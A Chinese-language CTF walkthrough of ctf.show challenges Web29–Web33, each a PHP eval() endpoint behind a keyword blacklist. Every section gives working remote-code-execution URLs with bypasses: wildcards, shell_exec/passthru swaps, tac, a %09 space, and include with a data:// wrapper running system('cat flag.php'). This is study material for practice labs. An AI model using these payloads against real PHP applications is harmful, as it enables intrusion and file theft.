Web29
源代码:
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
代码审计:
error_reporting(0) 关闭所有php报错。
preg_match(“/flag/i”, $c) 在 参数c 中正则匹配 flag,i意味着不区分大小写。
eval() 执行函数中的代码。
思路:
利用 system() 函数执行系统命令,获取flag文件位置并读取。
由于flag被过滤,我们可以使用通配符*来绕过过滤。
EXP:
使用ls命令读取当前目录下的文件:
这里注意system('ls');
的结尾是分号;
。因为eval()执行php代码,而分号;是php代码结束的标志,不能缺少。
http://3634aca7-0791-493a-aa93-a915e5bad86c.challenge.ctf.show/
?c=system('ls');
得到flag所在位置flag.php,使用cat命令读取:
cat fla*
表示打开所有当前目录下以 fla 开头的文件
http://3634aca7-0791-493a-aa93-a915e5bad86c.challenge.ctf.show/
?c=system('cat fla*');
查看页面源代码,获取flag.
Web30
源代码:
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
代码审计:
preg_match(“/flag|system|php/i”, $c) 过滤了flag、system、php
,i表示不区分大小写。
思路:
将system()替换为shell_exec()即可。
两个函数功能相同,都用于执行系统命令。区别在于system()会返回执行结果,但是shell_exec()不返回执行结果,需要我们使用echo命令进行返回。
EXP:
获取目录下文件:
https://e4322c80-906e-458a-b9a5-e5d01174a032.challenge.ctf.show/
?c=echo shell_exec('ls');
获取flag:
https://e4322c80-906e-458a-b9a5-e5d01174a032.challenge.ctf.show/
?c=echo shell_exec('cat fla*');
得到flag.
Web31
源代码:
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
代码审计:
preg_match(“/flag|system|php|cat|sort|shell|.| |'/i”, $c)
对 //
间的字符进行了过滤。
思路:
system和shell_exec都不能使用,所以替换为passthru() 。该函数也是执行系统命令,只执行,不返回,但是会把结果输出在界面上。
单引号'
也被过滤,替换为双引号"
.
cat被过滤,替换为tac。cat是从第一行开始显示文件内容,而tac是从最后一行开始向第一行输出内容。
空格 被过滤,用TAB键绕过,url编码为 %09
EXP:
获取目录下文件:
https://bad1987a-6ce0-4095-8c1b-77a0aa331e6d.challenge.ctf.show/
?c=passthru("ls");
读取flag文件:
https://bad1987a-6ce0-4095-8c1b-77a0aa331e6d.challenge.ctf.show/
?c=passthru("tac%09fla*");
得到flag.
Web32
建议先去学习文件包含与PHP伪协议相关知识。
源代码:
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
代码审计:
preg_match函数过滤了**//
**之间的字符。
思路:
过滤了分号 ;,直接传递php代码是不可能了。
考虑使用文件包含与data://伪协议。
EXP:
利用 include() 包含参数1,再利用 data:// 执行php系统命令。
因为preg_match只检测参数c中的关键词,所以参数1中的数据不会被检测。
https://c395f1da-8445-4a4c-aadb-580abd2624b2.challenge.ctf.show/
?c=include$_GET[1]?>
&1=data://text/plain,<?php system('ls');?>
读取flag文件:
https://c395f1da-8445-4a4c-aadb-580abd2624b2.challenge.ctf.show/
?c=include$_GET[1]?>
&1=data://text/plain,<?php system('cat flag.php');?>
得到flag.
Web33
源代码:
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
代码审计:
preg_match函数过滤了**//
**之间的字符。
思路:
比上一道题多过滤了双引号。不影响操作,与上一道题过程相同。
EXP:
ls读取目录下文件:
https://c46b1c05-afa9-4437-8e34-4d715f63c5d6.challenge.ctf.show/
?c=include$_GET[1]?>
&1=data://text/plain,<?php system('ls');?>
读取flag文件内容:
https://c46b1c05-afa9-4437-8e34-4d715f63c5d6.challenge.ctf.show/
?c=include$_GET[1]?>
&1=data://text/plain,<?php system('cat flag.php');?>
得到flag.
总结:
这五道题目包含两个RCE漏洞利用方向:
直接传递PHP代码
当分号;
没有被过滤时
使用文件包含
当分号;
被过滤时